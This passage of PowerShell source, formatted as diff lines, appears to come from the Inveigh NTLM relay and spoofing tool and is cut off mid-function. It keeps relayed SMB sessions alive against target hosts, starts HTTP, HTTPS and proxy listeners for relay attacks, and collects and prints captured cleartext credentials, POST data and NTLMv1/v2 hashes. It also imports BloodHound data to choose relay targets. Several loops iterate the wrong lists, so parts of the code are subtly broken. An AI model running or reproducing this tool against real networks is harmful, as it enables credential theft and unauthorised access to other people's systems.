Start-Sleep -m 5 + + if($inveigh.stop) + { + $inveigh.console_queue.Clear() + Stop-InveighRunspace + } + + } + + } + +# Session Refresh Loop ScriptBlock +$session_refresh_scriptblock = +{ + param ($SessionRefresh) + + $process_ID_bytes = Get-ProcessIDArray + + while($inveigh.relay_running) + { + + if($inveigh.session_socket_table.Count -gt 0) + { + $session = 0 + + while($session -le $inveigh.session_socket_table.Count) + { + $session_timespan = New-TimeSpan $inveigh.session[$session]."Last Activity" $(Get-Date) + + if($inveigh.session_socket_table[$session].Connected -and $inveigh.session_lock_table[$session] -eq 'open' -and $session_timespan.Minutes -ge $SessionRefresh) + { + $inveigh.session_lock_table[$session] = 'locked' + $client = $inveigh.session_socket_table[$session] + $client_stream = $client.GetStream() + $session_ID = $inveigh.session_table[$session] + $message_ID = $inveigh.session_message_ID_table[$session] + $tree_ID = 0x00,0x00,0x00,0x00 + $client_receive = New-Object System.Byte[] 1024 + $SMB_path = "\\" + $inveigh.session_socket_table[$session].Client.RemoteEndpoint.Address.IPaddressToString + "\IPC$" + $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_path) + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x03,0x00 0x01,0x00 $false $message_ID $process_ID_bytes $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2TreeConnectRequest $SMB_path_bytes + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + + try + { + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + } + catch + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay session $session has closed") > $null + $inveigh.session[$session] | Where-Object {$_.Status = "disconnected"} + } + + if($inveigh.session_socket_table[$session].Connected) + { + $tree_ID = $client_receive[40..43] + Start-Sleep -s 1 + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x04,0x00 0x01,0x00 $false $message_ID $process_ID_bytes $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2TreeDisconnectRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + + try + { + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + } + catch + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay session $session has closed") > $null + $inveigh.session[$session] | Where-Object {$_.Status = "disconnected"} + } + + } + + $inveigh.session_lock_table[$Session] = 'open' + $inveigh.session[$Session] | Where-Object {$_."Last Activity" = Get-Date -format s} + $inveigh.session_message_ID_table[$Session] = $message_ID + } + + $session++ + Start-Sleep -s 1 + } + + } + + Start-Sleep -s 1 + } + +} + +#endregion +#region begin startup functions + + # HTTP Listener Startup Function +function HTTPListener +{ + $HTTP_runspace = [RunspaceFactory]::CreateRunspace() + $HTTPS_listener = $false + $proxy_listener = $false + $HTTP_runspace.Open() + $HTTP_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $HTTP_powershell = [PowerShell]::Create() + $HTTP_powershell.Runspace = $HTTP_runspace + $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $HTTP_powershell.AddScript($packet_functions_scriptblock) > $null + $HTTP_powershell.AddScript($SMB_relay_functions_scriptblock) > $null + $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Attack).AddArgument($Challenge).AddArgument( + $Command).AddArgument($Enumerate).AddArgument($EnumerateGroup).AddArgument($FailedLoginThreshold).AddArgument( + $HTTPIP).AddArgument($HTTPPort).AddArgument( + $HTTPS_listener).AddArgument($Proxy).AddArgument($ProxyIgnore).AddArgument($proxy_listener).AddArgument( + $RelayAutoDisable).AddArgument($RepeatEnumerate).AddArgument($RepeatExecute).AddArgument( + $Service).AddArgument($SMB_version).AddArgument($SessionLimitPriv).AddArgument( + $SessionLimitUnpriv).AddArgument($SessionLimitShare).AddArgument($SessionPriority).AddArgument( + $Target).AddArgument($TargetMode).AddArgument($TargetRefresh).AddArgument($Username).AddArgument( + $WPADAuth).AddArgument($WPADAuthIgnore).AddArgument($WPADResponse) > $null + $HTTP_powershell.BeginInvoke() > $null +} + +# HTTPS Listener Startup Function +function HTTPSListener +{ + $HTTPS_runspace = [RunspaceFactory]::CreateRunspace() + $HTTPS_listener = $true + $proxy_listener = $false + $HTTPS_runspace.Open() + $HTTPS_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $HTTPS_powershell = [PowerShell]::Create() + $HTTPS_powershell.Runspace = $HTTPS_runspace + $HTTPS_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $HTTPS_powershell.AddScript($packet_functions_scriptblock) > $null + $HTTPS_powershell.AddScript($SMB_relay_functions_scriptblock) > $null + $HTTPS_powershell.AddScript($HTTP_scriptblock).AddArgument($Attack).AddArgument($Challenge).AddArgument( + $Command).AddArgument($Enumerate).AddArgument($EnumerateGroup).AddArgument($FailedLoginThreshold).AddArgument( + $HTTPIP).AddArgument($HTTPSPort).AddArgument( + $HTTPS_listener).AddArgument($Proxy).AddArgument($ProxyIgnore).AddArgument($proxy_listener).AddArgument( + $RelayAutoDisable).AddArgument($RepeatEnumerate).AddArgument($RepeatExecute).AddArgument( + $Service).AddArgument($SMB_version).AddArgument($SessionLimitPriv).AddArgument( + $SessionLimitUnpriv).AddArgument($SessionLimitShare).AddArgument($SessionPriority).AddArgument( + $Target).AddArgument($Username).AddArgument($WPADAuth).AddArgument($WPADAuthIgnore).AddArgument( + $WPADResponse) > $null + $HTTPS_powershell.BeginInvoke() > $null +} + +# Proxy Listener Startup Function +function ProxyListener +{ + $proxy_runspace = [RunspaceFactory]::CreateRunspace() + $HTTPS_listener = $false + $proxy_listener = $true + $proxy_runspace.Open() + $proxy_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $proxy_powershell = [PowerShell]::Create() + $proxy_powershell.Runspace = $proxy_runspace + $proxy_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $proxy_powershell.AddScript($packet_functions_scriptblock) > $null + $proxy_powershell.AddScript($SMB_relay_functions_scriptblock) > $null + $proxy_powershell.AddScript($HTTP_scriptblock).AddArgument($Attack).AddArgument($Challenge).AddArgument( + $Command).AddArgument($Enumerate).AddArgument($EnumerateGroup).AddArgument($FailedLoginThreshold).AddArgument( + $ProxyIP).AddArgument($ProxyPort).AddArgument( + $HTTPS_listener).AddArgument($Proxy).AddArgument($ProxyIgnore).AddArgument($proxy_listener).AddArgument( + $RelayAutoDisable).AddArgument($RepeatEnumerate).AddArgument($RepeatExecute).AddArgument( + $Service).AddArgument($SMB_version).AddArgument($SessionLimitPriv).AddArgument( + $SessionLimitUnpriv).AddArgument($SessionLimitShare).AddArgument($SessionPriority).AddArgument( + $Target).AddArgument($Username).AddArgument($WPADAuth).AddArgument($WPADAuthIgnore).AddArgument( + $WPADResponse) > $null + $proxy_powershell.BeginInvoke() > $null +} + +# Control Relay Startup Function +function ControlRelayLoop +{ + $control_relay_runspace = [RunspaceFactory]::CreateRunspace() + $control_relay_runspace.Open() + $control_relay_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $control_relay_powershell = [PowerShell]::Create() + $control_relay_powershell.Runspace = $control_relay_runspace + $control_relay_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $control_relay_powershell.AddScript($ADIDNS_functions_scriptblock) > $null + $control_relay_powershell.AddScript($packet_functions_scriptblock) > $null + $control_relay_powershell.AddScript($SMB_relay_functions_scriptblock) > $null + $control_relay_powershell.AddScript($control_relay_scriptblock).AddArgument($ConsoleQueueLimit).AddArgument( + $RelayAutoExit).AddArgument($RunTime) > $null + $control_relay_powershell.BeginInvoke() > $null +} + +# Session Refresh Startup Function +function SessionRefreshLoop +{ + $session_refresh_runspace = [RunspaceFactory]::CreateRunspace() + $session_refresh_runspace.Open() + $session_refresh_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $session_refresh_powershell = [PowerShell]::Create() + $session_refresh_powershell.Runspace = $session_refresh_runspace + $session_refresh_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $session_refresh_powershell.AddScript($packet_functions_scriptblock) > $null + $session_refresh_powershell.AddScript($SMB_relay_functions_scriptblock) > $null + $session_refresh_powershell.AddScript($session_refresh_scriptblock).AddArgument($SessionRefresh) > $null + $session_refresh_powershell.BeginInvoke() > $null +} + +#endregion +#region begin startup enabled services + +# HTTP Server Start +if($HTTP -eq 'Y') +{ + HTTPListener + Start-Sleep -m 50 +} + +# HTTPS Server Start +if($HTTPS -eq 'Y') +{ + HTTPSListener + Start-Sleep -m 50 +} + +# Proxy Server Start +if($Proxy -eq 'Y') +{ + ProxyListener + Start-Sleep -m 50 +} + +# Control Relay Loop Start +if(!$inveigh.running) +{ + ControlRelayLoop +} + +# Session Refresh Loop Start +if($SessionRefresh -gt 0) +{ + SessionRefreshLoop +} + +# Console Output Loop +try +{ + + if($inveigh.console_output) + { + + if($ConsoleStatus) + { + $console_status_timeout = New-TimeSpan -Minutes $ConsoleStatus + $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } + + :console_loop while(($inveigh.relay_running -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) + { + + while($inveigh.console_queue.Count -gt 0) + { + + switch -wildcard ($inveigh.console_queue[0]) + { + + {$_ -like "?`[`!`]*" -or $_ -like "?`[-`]*"} + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Warning($inveigh.console_queue[0]) + } + + $inveigh.console_queue.RemoveAt(0) + } + + {$_ -like "* spoofer is disabled" -or $_ -like "* local request" -or $_ -like "* host header *" -or $_ -like "* user agent received *"} + { + + if($ConsoleOutput -eq 'Y') + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Output($inveigh.console_queue[0]) + } + + } + + $inveigh.console_queue.RemoveAt(0) + + } + + {$_ -like "* response sent" -or $_ -like "* ignoring *" -or $_ -like "* HTTP*request for *" -or $_ -like "* Proxy request for *"} + { + + if($ConsoleOutput -ne "Low") + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Output($inveigh.console_queue[0]) + } + + } + + $inveigh.console_queue.RemoveAt(0) + + } + + default + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Output($inveigh.console_queue[0]) + } + + $inveigh.console_queue.RemoveAt(0) + } + + } + + } + + if($ConsoleStatus -and $console_status_stopwatch.Elapsed -ge $console_status_timeout) + { + + if($inveigh.cleartext_list.Count -gt 0) + { + Write-Output("[*] [$(Get-Date -format s)] Current unique cleartext captures:" + $inveigh.newline) + $inveigh.cleartext_list.Sort() + $POST_request_list_temp = $inveigh.POST_request_list + + foreach($unique_POST_request in $POST_request_list_temp) + { + if($unique_cleartext -ne $unique_cleartext_last) + { + Write-Output($unique_cleartext + $inveigh.newline) + } + + $unique_cleartext_last = $unique_cleartext + } + + Start-Sleep -m 5 + } + else + { + Write-Output("[+] [$(Get-Date -format s)] No cleartext credentials have been captured" + $inveigh.newline) + } + + if($inveigh.POST_request_list.Count -gt 0) + { + Write-Output("[*] [$(Get-Date -format s)] Current unique POST request captures:" + $inveigh.newline) + $inveigh.POST_request_list.Sort() + $NTLMv1_list_temp = $inveigh.NTLMv1_list + + foreach($unique_NTLMv1 in $NTLMv1_list_temp) + { + if($unique_POST_request -ne $unique_POST_request_last) + { + Write-Output($unique_POST_request + $inveigh.newline) + } + + $unique_POST_request_last = $unique_POST_request + } + + Start-Sleep -m 5 + } + + if($inveigh.NTLMv1_list.Count -gt 0) + { + Write-Output("[*] [$(Get-Date -format s)] Current unique NTLMv1 challenge/response captures:" + $inveigh.newline) + $inveigh.NTLMv1_list.Sort() + $NTLMv1_username_list_temp = $inveigh.NTLMv1_username_list + + foreach($NTLMv1_username in $NTLMv1_username_list_temp) + { + $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) + + if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) + { + Write-Output($unique_NTLMv1 + $inveigh.newline) + } + + $unique_NTLMv1_account_last = $unique_NTLMv1_account + } + + $unique_NTLMv1_account_last = '' + Start-Sleep -m 5 + Write-Output("[*] [$(Get-Date -format s)] Current NTLMv1 IP addresses and usernames:" + $inveigh.newline) + $NTLMv1_username_list_temp = $inveigh.NTLMv1_username_list + + foreach($NTLMv1_username in $NTLMv1_username_list_temp) + { + Write-Output($NTLMv1_username + $inveigh.newline) + } + + Start-Sleep -m 5 + } + else + { + Write-Output("[+] [$(Get-Date -format s)] No NTLMv1 challenge/response hashes have been captured" + $inveigh.newline) + } + + if($inveigh.NTLMv2_list.Count -gt 0) + { + Write-Output("[*] [$(Get-Date -format s)] Current unique NTLMv2 challenge/response captures:" + $inveigh.newline) + $inveigh.NTLMv2_list.Sort() + $NTLMv2_list_temp = $inveigh.NTLMv2_list + + foreach($unique_NTLMv2 in $NTLMv2_list_temp) + { + $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) + + if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) + { + Write-Output($unique_NTLMv2 + $inveigh.newline) + } + + $unique_NTLMv2_account_last = $unique_NTLMv2_account + } + + $unique_NTLMv2_account_last = '' + Start-Sleep -m 5 + Write-Output("[*] [$(Get-Date -format s)] Current NTLMv2 IP addresses and usernames:" + $inveigh.newline) + $NTLMv2_username_list_temp = $inveigh.NTLMv2_username_list + + foreach($NTLMv2_username in $NTLMv2_username_list_temp) + { + Write-Output($NTLMv2_username + $inveigh.newline) + } + + } + else + { + Write-Output("[+] [$(Get-Date -format s)] No NTLMv2 challenge/response hashes have been captured" + $inveigh.newline) + } + + $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + + } + + if($inveigh.console_input) + { + + if([Console]::KeyAvailable) + { + $inveigh.console_output = $false + BREAK console_loop + } + + } + + Start-Sleep -m 5 + } + + } + +} +finally +{ + + if($Tool -eq 2) + { + $inveigh.relay_running = $false + } + +} + +} + +#endregion +#region begin support functions + +function Stop-Inveigh +{ +<# +.SYNOPSIS +Stop-Inveigh will stop all running Inveigh functions. +#> + + if($inveigh) + { + $inveigh.stop = $true + + if($inveigh.running -or $inveigh.relay_running) + { + $inveigh.console_queue.Clear() + Watch-Inveigh -NoConsoleMessage + Start-Sleep -S 2 + } + else + { + Write-Output "[-] There are no running Inveigh functions" + } + + } + +} + +function Get-Inveigh +{ +<# +.SYNOPSIS +Get-Inveigh will get stored Inveigh data from memory. + +.PARAMETER Console +Get queued console output. This is also the default if no parameters are set. + +.PARAMETER ADIDNS +Get added DNS host records. + +.PARAMETER ADIDNSFailed +Get failed DNS host record adds. + +.PARAMETER Learning +Get valid hosts discovered through spoofer learning. + +.PARAMETER Log +Get log entries. + +.PARAMETER Cleartext +Get captured cleartext credentials. + +.PARAMETER CleartextUnique +Get unique captured cleartext credentials. + +.PARAMETER NTLMv1 +Get captured NTLMv1 challenge/response hashes. + +.PARAMETER NTLMv1Unique +Get the first captured NTLMv1 challenge/response for each unique account. + +.PARAMETER NTLMv1Usernames +Get IP addresses and usernames for captured NTLMv1 challenge/response hashes. + +.PARAMETER NTLMv2 +Get captured NTLMv1 challenge/response hashes. + +.PARAMETER NTLMv2Unique +Get the first captured NTLMv2 challenge/response for each unique account. + +.PARAMETER NTLMv2Usernames +Get IP addresses and usernames for captured NTLMv2 challenge/response hashes. + +.PARAMETER POSTRequest +Get captured POST requests. + +.PARAMETER POSTRequestUnique +Get unique captured POST request. + +.PARAMETER Session +Get relay session list. +#> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][Switch]$Cleartext, + [parameter(Mandatory=$false)][Switch]$CleartextUnique, + [parameter(Mandatory=$false)][Switch]$Console, + [parameter(Mandatory=$false)][Switch]$ADIDNS, + [parameter(Mandatory=$false)][Switch]$ADIDNSFailed, + [parameter(Mandatory=$false)][Switch]$Learning, + [parameter(Mandatory=$false)][Switch]$Log, + [parameter(Mandatory=$false)][Switch]$NTLMv1, + [parameter(Mandatory=$false)][Switch]$NTLMv2, + [parameter(Mandatory=$false)][Switch]$NTLMv1Unique, + [parameter(Mandatory=$false)][Switch]$NTLMv2Unique, + [parameter(Mandatory=$false)][Switch]$NTLMv1Usernames, + [parameter(Mandatory=$false)][Switch]$NTLMv2Usernames, + [parameter(Mandatory=$false)][Switch]$POSTRequest, + [parameter(Mandatory=$false)][Switch]$POSTRequestUnique, + [parameter(Mandatory=$false)][Switch]$Session, + [parameter(Mandatory=$false)][Switch]$Enumerate, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($Console -or $PSBoundParameters.Count -eq 0) + { + + while($inveigh.console_queue.Count -gt 0) + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + $inveigh.console_queue.RemoveAt(0) + } + else + { + + switch -wildcard ($inveigh.console_queue[0]) + { + + {$_ -like "?`[`!`]*" -or $_ -like "?`[-`]*"} + { + Write-Warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveAt(0) + } + + default + { + Write-Output $inveigh.console_queue[0] + $inveigh.console_queue.RemoveAt(0) + } + + } + + } + + } + + } + + if($ADIDNS) + { + $ADIDNS_table_keys_temp = $inveigh.ADIDNS_table.Keys + + foreach($ADIDNS_host in $ADIDNS_table_keys_temp) + { + + if($inveigh.ADIDNS_table.$ADIDNS_host -eq 1) + { + Write-Output $ADIDNS_host + } + + } + + } + + if($ADIDNSFailed) + { + $ADIDNS_table_keys_temp = $inveigh.ADIDNS_table.Keys + + foreach($ADIDNS_host in $ADIDNS_table_keys_temp) + { + + if($inveigh.ADIDNS_table.$ADIDNS_host -eq 0) + { + Write-Output $ADIDNS_host + } + + } + + } + + if($Log) + { + Write-Output $inveigh.log + } + + if($NTLMv1) + { + Write-Output $inveigh.NTLMv1_list + } + + if($NTLMv1Unique) + { + $inveigh.NTLMv1_list.Sort() + $NTLMv1_list_temp = $inveigh.NTLMv1_list + + foreach($unique_NTLMv1 in $NTLMv1_list_temp) + { + $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) + + if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) + { + Write-Output $unique_NTLMv1 + } + + $unique_NTLMv1_account_last = $unique_NTLMv1_account + } + + } + + if($NTLMv1Usernames) + { + Write-Output $inveigh.NTLMv2_username_list + } + + if($NTLMv2) + { + Write-Output $inveigh.NTLMv2_list + } + + if($NTLMv2Unique) + { + $inveigh.NTLMv2_list.Sort() + $NTLMv2_list_temp = $inveigh.NTLMv2_list + + foreach($unique_NTLMv2 in $NTLMv2_list_temp) + { + $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) + + if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) + { + Write-Output $unique_NTLMv2 + } + + $unique_NTLMv2_account_last = $unique_NTLMv2_account + } + + } + + if($NTLMv2Usernames) + { + Write-Output $inveigh.NTLMv2_username_list + } + + if($Cleartext) + { + Write-Output $inveigh.cleartext_list + } + + if($CleartextUnique) + { + Write-Output $inveigh.cleartext_list | Get-Unique + } + + if($POSTRequest) + { + Write-Output $inveigh.POST_request_list + } + + if($POSTRequestUnique) + { + Write-Output $inveigh.POST_request_list | Get-Unique + } + + if($Learning) + { + Write-Output $inveigh.valid_host_list + } + + if($Session) + { + $sessions_temp = $inveigh.session + $i = 0 + + while($i -lt $inveigh.session_socket_table.Count) + { + + if(!$inveigh.session_socket_table[$i].Connected) + { + $inveigh.session[$i] | Where-Object {$_.Status = "disconnected"} + } + + $i++ + } + + Write-Output $sessions_temp | Format-Table -AutoSize + } + + if($Enumerate) + { + $enumerate_temp = $inveigh.enumerate + Write-Output $enumerate_temp + Remove-Variable enumerate_temp + } + +} + +function Watch-Inveigh +{ +<# +.SYNOPSIS +Watch-Inveigh will enabled real time console output. If using this function through a shell, test to ensure that it doesn't hang the shell. + +.PARAMETER ConsoleOutput +(Medium,Low) Medium and Low can be used to reduce output. +#> + +[CmdletBinding()] +param +( + [parameter(Mandatory=$false)][Switch]$NoConsoleMessage, + [parameter(Mandatory=$false)][ValidateSet("Low","Medium","Y")][String]$ConsoleOutput = "Y", + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter +) + +if($inveigh.tool -ne 1) +{ + + if($inveigh.running -or $inveigh.relay_running) + { + + if(!$NoConsoleMessage) + { + Write-Output "[*] Press any key to stop console output" + } + + $inveigh.console_output = $true + + :console_loop while((($inveigh.running -or $inveigh.relay_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) + { + + while($inveigh.console_queue.Count -gt 0) + { + + switch -wildcard ($inveigh.console_queue[0]) + { + + {$_ -like "?`[`!`]*" -or $_ -like "?`[-`]*"} + { + Write-Warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveAt(0) + } + + {$_ -like "* spoofer is disabled" -or $_ -like "* local request" -or $_ -like "* host header *" -or $_ -like "* user agent received *"} + { + + if($ConsoleOutput -eq 'Y') + { + Write-Output $inveigh.console_queue[0] + } + + $inveigh.console_queue.RemoveAt(0) + + } + + {$_ -like "* response sent" -or $_ -like "* ignoring *" -or $_ -like "* HTTP*request for *" -or $_ -like "* Proxy request for *"} + { + + if($ConsoleOutput -ne "Low") + { + Write-Output $inveigh.console_queue[0] + } + + $inveigh.console_queue.RemoveAt(0) + + } + + default + { + Write-Output $inveigh.console_queue[0] + $inveigh.console_queue.RemoveAt(0) + } + + } + + } + + if([Console]::KeyAvailable) + { + $inveigh.console_output = $false + BREAK console_loop + } + + Start-Sleep -m 5 + } + + } + else + { + Write-Output "[-] Inveigh isn't running" + } + +} +else +{ + Write-Output "[-] Watch-Inveigh cannot be used with current external tool selection" +} + +} + +function Clear-Inveigh +{ +<# +.SYNOPSIS +Clear-Inveigh will clear Inveigh data from memory. +#> + +if($inveigh) +{ + + if(!$inveigh.running -and !$inveigh.relay_running) + { + Remove-Variable inveigh -scope global + Write-Output "[+] Inveigh data has been cleared from memory" + } + else + { + Write-Output "[-] Run Stop-Inveigh before running Clear-Inveigh" + } + +} + +} + +function ConvertTo-Inveigh +{ + <# + .SYNOPSIS + ConvertTo-Inveigh imports Bloodhound computers, groups and session JSON files into $inveigh.enumerate + for Inveigh Relay targeting. + + .DESCRIPTION + For the fastest import, import the data before gather any enumeration data with Inveigh. + + .PARAMETER BloodHoundComputersJSON + BloodHound computers file. + + .PARAMETER BloodHoundSessionsJSON + BloodHound sessions file. + + .PARAMETER BloodHoundGroupsJSON + BloodHound groups file. + + .PARAMTER DNS + Enable DNS lookups + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$Computers, + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$Sessions, + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$Groups, + [parameter(Mandatory=$false)][Switch]$DNS, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if(!$Computers -and !$Sessions -and !$Groups) + { + Write-Output "Specifiy a BloodHound computers, groups, or sessions JSON file" + throw + } + + if($inveigh.running -or $inveigh.relay_running) + { + Write-Output "Run Stop-Inveigh before importing data with ConvertTo-Inveigh" + throw + } + + if(!$inveigh) + { + $global:inveigh = [HashTable]::Synchronized(@{}) + $inveigh.cleartext_list = New-Object System.Collections.ArrayList + $inveigh.enumerate = New-Object System.Collections.ArrayList + $inveigh.IP_capture_list = New-Object System.Collections.ArrayList + $inveigh.log = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_username_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList + $inveigh.POST_request_list = New-Object System.Collections.ArrayList + $inveigh.valid_host_list = New-Object System.Collections.ArrayList + $inveigh.ADIDNS_table = [HashTable]::Synchronized(@{}) + $inveigh.relay_failed_login_table = [HashTable]::Synchronized(@{}) + $inveigh.relay_history_table = [HashTable]::Synchronized(@{}) + $inveigh.request_table = [HashTable]::Synchronized(@{}) + $inveigh.session_socket_table = [HashTable]::Synchronized(@{}) + $inveigh.session_table = [HashTable]::Synchronized(@{}) + $inveigh.session_message_ID_table = [HashTable]::Synchronized(@{}) + $inveigh.session_lock_table = [HashTable]::Synchronized(@{}) + $inveigh.SMB_session_table = [HashTable]::Synchronized(@{}) + $inveigh.domain_mapping_table = [HashTable]::Synchronized(@{}) + $inveigh.group_table = [HashTable]::Synchronized(@{}) + $inveigh.session_count = 0 + $inveigh.session = @() + } + + function New-RelayEnumObject + { + param ($IP,$Hostname,$DNSDomain,$netBIOSDomain,$Sessions,$AdministratorUsers,$AdministratorGroups, + $Privileged,$Shares,$NetSessions,$NetSessionsMapped,$LocalUsers,$SMB2,$Signing,$SMBServer,$DNSRecord, + $IPv6Only,$Targeted,$Enumerate,$Execute) + + if($Sessions -and $Sessions -isnot [Array]){$Sessions = @($Sessions)} + if($AdministratorUsers -and $AdministratorUsers -isnot [Array]){$AdministratorUsers = @($AdministratorUsers)} + if($AdministratorGroups -and $AdministratorGroups -isnot [Array]){$AdministratorGroups = @($AdministratorGroups)} + if($Privileged -and $Privileged -isnot [Array]){$Privileged = @($Privileged)} + if($Shares -and $Shares -isnot [Array]){$Shares = @($Shares)} + if($NetSessions -and $NetSessions -isnot [Array]){$NetSessions = @($NetSessions)} + if($NetSessionsMapped -and $NetSessionsMapped -isnot [Array]){$NetSessionsMapped = @($NetSessionsMapped)} + if($LocalUsers -and $LocalUsers -isnot [Array]){$LocalUsers = @($LocalUsers)} + + $relay_object = New-Object PSObject + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Index" $inveigh.enumerate.Count + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "IP" $IP + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Hostname" $Hostname + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "DNS Domain" $DNSDomain + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "netBIOS Domain" $netBIOSDomain + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Sessions" $Sessions + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Administrator Users" $AdministratorUsers + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Administrator Groups" $AdministratorGroups + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Privileged" $Privileged + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Shares" $Shares + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "NetSessions" $NetSessions + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "NetSessions Mapped" $NetSessionsMapped + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Local Users" $LocalUsers + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "SMB2.1" $SMB2 + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Signing" $Signing + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "SMB Server" $SMBServer + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "DNS Record" $DNSRecord + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "IPv6 Only" $IPv6Only + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Targeted" $Targeted + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Enumerate" $Enumerate + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Execute" $Execute + + return $relay_object + } + + function Get-DNSEntry([String]$hostname) + { + + try + { + $IP_list = [System.Net.Dns]::GetHostEntry($hostname) + + foreach($entry in $IP_list.AddressList) + { + + if(!$entry.IsIPv6LinkLocal) + { + $IP = $entry.IPAddressToString + } + + } + + } + catch + { + $IP = $null + } + + return $IP + } + + # JSON parsing from http://wahlnetwork.com/2016/03/15/deserializing-large-json-payloads-powershell-objects/ + function Invoke-ParseItem($JSONItem) + { + + if($JSONItem.PSObject.TypeNames -match 'Array') + { + return Invoke-ParseJsonArray($JSONItem) + } + elseif($JSONItem.PSObject.TypeNames -match 'Dictionary') + { + return Invoke-ParseJsonObject([HashTable]$JSONItem) + } + else + { + return $JSONItem + } + + } + + function Invoke-ParseJsonObject($JSONObject) + { + $result = New-Object -TypeName PSCustomObject + + foreach($key in $JSONObject.Keys) + { + $item = $JSONObject[$key] + + if ($item) + { + $parsed_item = Invoke-ParseItem $item + } + else + { + $parsed_item = $null + } + + $result | Add-Member -MemberType NoteProperty -Name $key -Value $parsed_item + } + + return $result + } + + function 